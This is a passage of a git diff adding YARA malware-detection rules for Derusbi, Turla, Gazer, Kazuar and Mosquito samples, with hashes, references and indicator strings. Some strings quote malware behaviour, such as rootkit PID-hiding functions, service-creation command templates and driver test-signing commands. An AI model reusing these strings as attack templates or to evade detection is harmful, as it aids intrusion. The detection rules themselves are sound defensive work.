+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      modified = "2023-05-04"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+      id = "98196ffc-8a6f-5edc-a688-eeb449410b72"
+   strings:
+      $s1 = "__this_module"
+      $s2 = "init_module"
+      $s3 = "unhide_pid"
+      $s4 = "is_hidden_pid"
+      $s5 = "clear_hidden_pid"
+      $s6 = "hide_pid"
+      $s7 = "license"
+      $s8 = "description"
+      $s9 = "srcversion="
+      $s10 = "depends="
+      $s12 = "vermagic="
+      $s13 = "current_task"
+      $s14 = "sock_release"
+      $s15 = "module_layout"
+      $s16 = "init_uts_ns"
+      $s17 = "init_net"
+      $s18 = "init_task"
+      $s19 = "filp_open"
+      $s20 = "__netlink_kernel_create"
+      $s21 = "kfree_skb"
+   condition:
+      uint32(0) == 0x464c457f and all of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_SharedMemCreation {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+      id = "068b7bea-853d-57e8-a9fe-8b451dbc7582"
+   strings:
+      $byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+   condition:
+      uint32(0) == 0x464C457F and any of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_Strings {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Strings"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+      id = "06717cc9-678d-5912-a671-65605b9c9968"
+   strings:
+      $a1 = "loadso" wide ascii fullword
+      $a2 = "\nuname -a\n\n" wide ascii
+      $a3 = "/dev/shm/.x11.id" wide ascii
+      $a4 = "LxMain64" wide ascii nocase
+      $a5 = "# \\u@\\h:\\w \\$ " wide ascii
+      $b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+      $b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+      $b3 = "ret %d" wide fullword
+      $b4 = "uname -a\n\n" wide ascii
+      $b5 = "/proc/%u/cmdline" wide ascii
+      $b6 = "/proc/self/exe" wide ascii
+      $b7 = "cp -a %s %s" wide ascii
+      $c1 = "/dev/pts/4" wide ascii fullword
+      $c2 = "/tmp/1408.log" wide ascii fullword
+   condition:
+      uint32(0) == 0x464C457F and
+      (
+         (1 of ($a*) and 4 of ($b*) ) or
+         (1 of ($a*) and 1 of ($c*)) or
+         2 of ($a*) or
+         all of ($b*)
+      )
+}
+
+rule apt_win_exe_trojan_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor Win32"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+      id = "6e7fecfa-f801-59b2-a394-df4c368011b7"
+   strings:
+      $sa_4 = "HOST: %s:%d"
+      $sa_6 = "User-Agent: Mozilla"
+      $sa_7 = "Proxy-Connection: Keep-Alive"
+      $sa_8 = "Connection: Keep-Alive"
+      $sa_9 = "Server: Apache"
+      $sa_12 = "ZwUnloadDriver"
+      $sa_13 = "ZwLoadDriver"
+      $sa_18 = "_time64"
+      $sa_19 = "DllRegisterServer"
+      $sa_20 = "DllUnregisterServer"
+      $sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 } // Decode Driver
+
+      $sb_1 = "PCC_CMD_PACKET"
+      $sb_2 = "PCC_CMD"
+      $sb_3 = "PCC_BASEMOD"
+      $sb_4 = "PCC_PROXY"
+      $sb_5 = "PCC_SYS"
+      $sb_6 = "PCC_PROCESS"
+      $sb_7 = "PCC_FILE"
+      $sb_8 = "PCC_SOCK"
+
+      $sc_1 = "bcdedit -set testsigning" wide ascii
+      $sc_2 = "update.microsoft.com" wide ascii
+      $sc_3 = "_crt_debugger_hook" wide ascii
+      $sc_4 = "ue8G5" wide ascii
+
+      /* $sd_1 = "NET" wide ascii */ /* disabled due to performance reasons */
+      $sd_2 = "\\\\.\\pipe\\%s" wide ascii
+      $sd_3 = ".dat" wide ascii
+      $sd_4 = "CONNECT %s:%d" wide ascii
+      $sd_5 = "\\Device\\" wide ascii
+
+      $se_1 = "-%s-%04d" wide ascii
+      $se_2 = "-%04d" wide ascii
+      /* $se_3 = "FAL" wide ascii */ /* disabled due to performance reasons */
+      /* $se_4 = "OK" wide ascii */ /* disabled due to performance reasons */
+      $se_5 = "2.03" wide ascii
+      /* $se_6 = "XXXXXXXXXXXXXXX" wide ascii */ /* disabled due to memory usage reasons */
+
+   condition:
+      uint16(0) == 0x5A4D and (
+         all of ($sa_*) or
+         (
+            (8 of ($sa_*)) and (
+               (5 of ($sb_*)) or
+               (3 of ($sc_*)) or
+               (all of ($sd_*)) or
+               ( 1 of ($sc_*) and all of ($se_*) )
+            )
+         )
+      )
+}
diff --git a/yara-Neo23x0/apt_turla.yar b/yara-Neo23x0/apt_turla.yar
new file mode 100644
index 0000000..079d0e3
--- /dev/null
+++ b/yara-Neo23x0/apt_turla.yar
@@ -0,0 +1,295 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-09
+	Identifier: Turla Samples from RUAG Cyber Attack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Turla_APT_srsvc {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
+		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
+		id = "951ee9f8-1ab0-5fd5-be9b-053ec82f6ea2"
+	strings:
+		$x1 = "SVCHostServiceDll.dll" fullword ascii
+
+		$s2 = "msimghlp.dll" fullword wide
+		$s3 = "srservice" fullword wide
+		$s4 = "ModStart" fullword ascii
+		$s5 = "ModStop" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) or all of ($s*) ) )
+		or ( all of them )
+}
+
+rule Turla_APT_Malware_Gen1 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+		id = "7ead2da1-3544-5a26-8767-6d3f29de8b96"
+	strings:
+		$x1 = "too long data for this type of transport" fullword ascii
+		$x2 = "not enough server resources to complete operation" fullword ascii
+		$x3 = "Task not execute. Arg file failed." fullword ascii
+		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
+
+		$s1 = "peer has closed the connection" fullword ascii
+		$s2 = "tcpdump.exe" fullword ascii
+		$s3 = "windump.exe" fullword ascii
+		$s4 = "dsniff.exe" fullword ascii
+		$s5 = "wireshark.exe" fullword ascii
+		$s6 = "ethereal.exe" fullword ascii
+		$s7 = "snoop.exe" fullword ascii
+		$s8 = "ettercap.exe" fullword ascii
+		$s9 = "miniport.dat" fullword ascii
+		$s10 = "net_password=%s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 2 of ($x*) or 8 of ($s*) ) )
+		or ( 12 of them )
+}
+
+rule RUAG_APT_Malware_Gen2 {
+   meta:
+      description = "Detects malware used in the RUAG APT case"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+      date = "2016-06-09"
+      modified = "2023-01-06"
+      score = 90
+      hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+      hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+      hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+      hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+      id = "8a50e5d5-f16d-53c7-825c-a8e51c207eac"
+   strings:
+      $x1 = "Internal command not support =((" ascii
+      $x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
+      $x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
+      $x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
+      $x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
+      $x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
+      $x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
+      $x8 = "\\\\%s\\pipe\\comnode" fullword ascii
+      $x9 = "Plugin dll stop failed." fullword ascii
+      $x10 = "AS_USER:LogonUser():%d" fullword ascii
+
+      $s1 = "MSIMGHLP.DLL" fullword wide
+      $s2 = "msimghlp.dll" fullword ascii
+      $s3 = "ximarsh.dll" fullword ascii
+      $s4 = "msximl.dll" fullword ascii
+      $s5 = "INTERNAL.dll" fullword ascii
+      $s6 = "\\\\.\\Global\\PIPE\\" ascii
+      $s7 = "ieuser.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 5 of ($s*) ) )
+      or ( 10 of them )
+}
+
+rule Turla_APT_Malware_Gen3 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		id = "8cb7d873-e4f9-553e-84e8-dbc0d31f65ab"
+	strings:
+		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
+		$x2 = "WaitMutex Abandoned %p" fullword ascii
+		$x3 = "OPER|Wrong config: no port|" fullword ascii
+		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
+		$x5 = "OPER|Wrong config: empty address|" fullword ascii
+		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
+		$x7 = "OPER|Wrong config: no auth|" fullword ascii
+		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
+		$s3 = "www.yahoo.com" fullword ascii
+		$s4 = "MSXIML.DLL" fullword wide
+		$s5 = "www.bing.com" fullword ascii
+		$s6 = "%s: http://%s%s" fullword ascii
+		$s7 = "/javascript/view.php" fullword ascii
+		$s8 = "Task %d failed %s,%d" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 6 of ($s*) ) )
+		or ( 10 of them )
+}
+
+rule Turla_Mal_Script_Jan18_1 {
+   meta:
+      description = "Detects Turla malicious script"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://ghostbin.com/paste/jsph7"
+      date = "2018-01-19"
+      hash1 = "180b920e9cea712d124ff41cd1060683a14a79285d960e17f0f49b969f15bfcc"
+      id = "4b550b3c-182c-5dc0-b2d2-13925c22be81"
+   strings:
+      $s1 = ".charCodeAt(i % " ascii
+      $s2 = "{WScript.Quit();}" fullword ascii
+      $s3 = ".charAt(i)) << 10) |" ascii
+      $s4 = " = WScript.Arguments;var " ascii
+      $s5 = "= \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var i;" ascii
+   condition:
+      filesize < 200KB and 2 of them
+}
+
+import "pe"
+
+rule Turla_KazuarRAT {
+   meta:
+      description = "Detects Turla Kazuar RAT described by DrunkBinary"
+      author = "Markus Neis / Florian Roth"
+      reference = "https://twitter.com/DrunkBinary/status/982969891975319553"
+      date = "2018-04-08"
+      hash1 = "6b5d9fca6f49a044fd94c816e258bf50b1e90305d7dab2e0480349e80ed2a0fa"
+      hash2 = "7594fab1aadc4fb08fb9dbb27c418e8bc7f08dadb2acf5533dc8560241ecfc1d"
+      hash3 = "4e5a86e33e53931afe25a8cb108f53f9c7e6c6a731b0ef4f72ce638d0ea5c198"
+      id = "147cc7b7-6dbd-51a2-9501-bcbaec32e20e"
+   strings:
+      $x1 = "~1.EXE" wide
+      $s2 = "dl32.dll" fullword ascii
+      $s3 = "HookProc@" ascii
+      $s4 = "0`.wtf" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and  filesize < 20KB and (
+         pe.imphash() == "682156c4380c216ff8cb766a2f2e8817" or
+         2 of them )
+}
+
+
+rule MAL_Turla_Agent_BTZ {
+   meta:
+      description = "Detects Turla Agent.BTZ"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"
+      date = "2018-04-12"
+      modified = "2023-01-06"
+      score = 90
+      hash1 = "c4a1cd6916646aa502413d42e6e7441c6e7268926484f19d9acbf5113fc52fc8"
+      id = "bd642f11-19f6-5178-b978-1215215fea86"
+   strings:
+      $x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
+      $x3 = "mstotreg.dat" fullword ascii
+      $x4 = "Bisuninst.bin" fullword ascii
+      $x5 = "mfc42l00.pdb" fullword ascii
+      $x6 = "ielocal~f.tmp" fullword ascii
+
+      $s1 = "%s\\1.txt" fullword ascii
+      $s2 = "%windows%" fullword ascii
+      $s3 = "%s\\system32" fullword ascii
+      $s4 = "\\Help\\SYSTEM32\\" ascii
+      $s5 = "%windows%\\mfc42l00.pdb" ascii
+      $s6 = "Size of log(%dB) is too big, stop write." fullword ascii
+      $s7 = "Log: Size of log(%dB) is too big, stop write." fullword ascii
+      $s8 = "%02d.%02d.%04d Log begin:" fullword ascii
+      $s9 = "\\system32\\win.com" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+rule MAL_Turla_Sample_May18_1 {
+   meta:
+      description = "Detects Turla samples"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/omri9741/status/991942007701598208"
+      date = "2018-05-03"
+      hash1 = "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038"
+      hash2 = "77cbd7252a20f2d35db4f330b9c4b8aa7501349bc06bbcc8f40ae13d01ae7f8f"
+      id = "5052838f-a895-55cb-abcf-813465074127"
+   strings:
+      $x1 = "sc %s create %s binPath= \"cmd.exe /c start %%SystemRoot%%\\%s\">>%s" fullword ascii
+      $x2 = "cmd.exe /c start %%SystemRoot%%\\%s" fullword ascii
+      $x3 = "cmd.exe /c %s\\%s -s %s:%s:%s -c \"%s %s /wait 1\">>%s" fullword ascii
+      $x4 = "Read InjectLog[%dB]********************************" fullword ascii
+      $x5 = "%s\\System32\\011fe-3420f-ff0ea-ff0ea.tmp" fullword ascii
+      $x6 = "**************************** Begin ini %s [%d]***********************************************" fullword ascii
+      $x7 = "%s -o %s -i %s -d exec2 -f %s" fullword ascii
+      $x8 = "Logon to %s failed: code %d(User:%s,Pass:%s)" fullword ascii
+      $x9 = "system32\\dxsnd32x.exe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and 1 of them
+}
+
+rule APT_MAL_LNX_Turla_Apr20_1 {
+   meta:
+      description = "Detects Turla Linux malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/Int2e_/status/1246115636331319309"
+      date = "2020-04-05"
+      hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
+      hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
+      id = "f21e7793-a7dd-5195-805d-963827b35808"
+   strings:
+      $s1 = "/root/.hsperfdata" ascii fullword
+      $s2 = "Desc|     Filename     |  size  |state|" ascii fullword
+      $s3 = "IPv6 address %s not supported" ascii fullword
+      $s4 = "File already exist on remote filesystem !" ascii fullword
+      $s5 = "/tmp/.sync.pid" ascii fullword
+      $s6 = "'gateway' supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel" ascii fullword
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 5000KB and
+      4 of them
+}
+
+/* slighly modified rule */
+rule APT_MAL_TinyTurla_Sep21_1 {
+	meta:
+		author = "Cisco Talos"
+		description = "Detects Tiny Turla backdoor DLL"
+		reference = "https://blog.talosintelligence.com/2021/09/tinyturla.html"
+		hash1 = "030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01"
+		date = "2021-09-21"
+		id = "19659ac7-310a-52dd-a94c-022c7add752b"
+	strings:
+		$a = "Title: " fullword wide
+		$b = "Hosts" fullword wide
+		$c = "Security" fullword wide
+		$d = "TimeLong" fullword wide
+		$e = "TimeShort" fullword wide
+		$f = "MachineGuid" fullword wide
+		$g = "POST" fullword wide
+		$h = "WinHttpSetOption" fullword ascii
+		$i = "WinHttpQueryDataAvailable" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
diff --git a/yara-Neo23x0/apt_turla_gazer.yar b/yara-Neo23x0/apt_turla_gazer.yar
new file mode 100644
index 0000000..c2c4cea
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_gazer.yar
@@ -0,0 +1,54 @@
+/*
+   Yara Rule Set
+   Author: ESET
+   Date: 2017-08-30
+   Identifier: Turla Gazer
+   Reference: https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
+*/
+
+
+import "pe"
+
+rule Gazer_certificate_subject {
+   meta:
+      description = "Detects Tura's Gazer malware"
+      author = "ESET"
+      reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
+      date = "30.08.2017"
+      id = "4eace653-003e-5cae-9db8-f26502f35fc4"
+   condition:
+      for any i in (0..pe.number_of_signatures - 1):
+         (
+            pe.signatures[i].subject contains "Solid Loop" or
+            pe.signatures[i].subject contains "Ultimate Computer Support"
+         )
+}
+
+rule Gazer_certificate {
+   meta:
+      description = "Detects Tura's Gazer malware"
+      author = "ESET"
+      reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
+      date = "30.08.2017"
+      id = "4eace653-003e-5cae-9db8-f26502f35fc4"
+   strings:
+      $certif1 = { 52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 }
+      $certif2 = { 12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c }
+   condition:
+      uint16(0) == 0x5a4d and 1 of them and filesize < 2MB
+}
+
+rule Gazer_logfile_name {
+   meta:
+      description = "Detects Tura's Gazer malware"
+      author = "ESET"
+      reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
+      date = "30.08.2017"
+      id = "c10d440f-dc9e-54c8-b329-9f22cba05e86"
+   strings:
+      $s1 = "CVRG72B5.tmp.cvr"
+      $s2 = "CVRG1A6B.tmp.cvr"
+      $s3 = "CVRG38D9.tmp.cvr"
+   condition:
+      uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-Neo23x0/apt_turla_kazuar.yar b/yara-Neo23x0/apt_turla_kazuar.yar
new file mode 100644
index 0000000..ebad0c6
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_kazuar.yar
@@ -0,0 +1,82 @@
+import "pe"
+/*
+	"dbgsview.exe"
+	Agent.exe
+	"adflctlmon.exe"
+
+	d3429016-d029-45b8-b260-85221265838e
+	76b7b11a-4124-448b-9903-15524e321f3f
+	2cde886e-ee24-496a-bb31-1ced6b766ced
+
+	imphash
+	f34d5f2d4577ed6d9ceec516c1f5a744
+*/
+
+rule apt_RU_Turla_Kazuar_DebugView_peFeatures
+{
+	meta:
+		description = "Turla mimicking SysInternals Tools- peFeatures"
+        reference = "https://www.epicturla.com/blog/sysinturla"
+		version = "2.0"
+		author = "JAG-S"
+        score = 85
+		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+		hash2 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+
+		id = "0a1675c0-8645-5288-9ef6-e68ffbfe0c3b"
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			pe.version_info["LegalCopyright"] == "Test Copyright" 
+			and
+			(
+				(
+				pe.version_info["ProductName"] == "Sysinternals DebugView"
+				and
+				pe.version_info["Description"] == "Sysinternals DebugView"
+				)
+			or
+				(
+				pe.version_info["FileVersion"] == "4.80.0.0"
+				and
+				pe.version_info["Comments"] == "Sysinternals DebugView"
+				)
+			or
+				(
+				pe.version_info["OriginalName"] contains "DebugView.exe"
+				and
+				pe.version_info["InternalName"] contains "DebugView.exe"
+				)
+			or
+				(
+				pe.version_info["OriginalName"] == "Agent.exe"
+				and
+				pe.version_info["InternalName"] == "Agent.exe"
+				)
+			)
+		)
+}
+
+rule APT_MAL_RU_Turla_Kazuar_May20_1 {
+   meta:
+      description = "Detects Turla Kazuar malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.epicturla.com/blog/sysinturla"
+      date = "2020-05-28"
+      hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+      hash2 = "1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa"
+      hash3 = "2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f"
+      hash4 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+      id = "cd0d1fa2-5303-55f8-90a7-4a699ec79230"
+   strings:
+      $s1 = "Sysinternals" ascii fullword
+	  $s2 = "Test Copyright" wide fullword
+
+      $op1 = { 0d 01 00 08 34 2e 38 30 2e 30 2e 30 00 00 13 01 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 2000KB and
+      all of them
+}
+
diff --git a/yara-Neo23x0/apt_turla_mosquito.yar b/yara-Neo23x0/apt_turla_mosquito.yar
new file mode 100644
index 0000000..39df1b2
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_mosquito.yar
@@ -0,0 +1,156 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-22
+   Identifier: TurlaMosquito
+   Reference: https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule TurlaMosquito_Mal_1 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e"
+      id = "1395509a-72f5-56c0-895c-3e9f15829de1"
+   strings:
+      $s1 = "Pipetp" fullword ascii
+      $s2 = "EStOpnabn" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and (
+        pe.imphash() == "169d4237c79549303cca870592278f42" or
+        all of them
+      )
+}
+
+rule TurlaMosquito_Mal_2 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "68c6e9dea81f082601ae5afc41870cea3f71b22bfc19bcfbc61d84786e481cb4"
+      hash2 = "05254971fe3e1ca448844f8cfcfb2b0de27e48abd45ea2a3df897074a419a3f4"
+      id = "d23d9fe1-26e3-5012-8a88-61ebbc3fbd8f"
+   strings:
+      $s1 = ".?AVFileNameParseException@ExecuteFile@@" fullword ascii
+      $s3 = "no_address" fullword wide
+      $s6 = "SRRRQP" fullword ascii
+      $s7 = "QWVPQQ" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+        pe.imphash() == "cd918073f209c5da7a16b6c125d73746" or
+        all of them
+      )
+}
+
+rule TurlaMosquito_Mal_3 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1"
+      id = "c83e0a93-3f8d-572d-ac1a-92fef0b3d3f6"
+   strings:
+      $x1 = "InstructionerDLL.dll" fullword ascii
+
+      $s1 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
+      $s2 = "/scripts/m/query.php?id=" fullword wide
+      $s3 = "SELECT * FROM AntiVirusProduct" fullword ascii
+      $s4 = "Microsoft Update" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+         pe.imphash() == "88488fe0b8bcd6e379dea6433bb5d7d8" or
+         ( pe.exports("InstallRoutineW") and pe.exports("StartRoutine") ) or
+         $x1 or
+         3 of them
+      )
+}
+
+rule TurlaMosquito_Mal_4 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec"
+      id = "1d5c32b3-0316-525c-9386-222917144251"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and pe.imphash() == "17b328245e2874a76c2f46f9a92c3bad"
+}
+
+rule TurlaMosquito_Mal_5 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "26a1a42bc74e14887616f9d6048c17b1b4231466716a6426e7162426e1a08030"
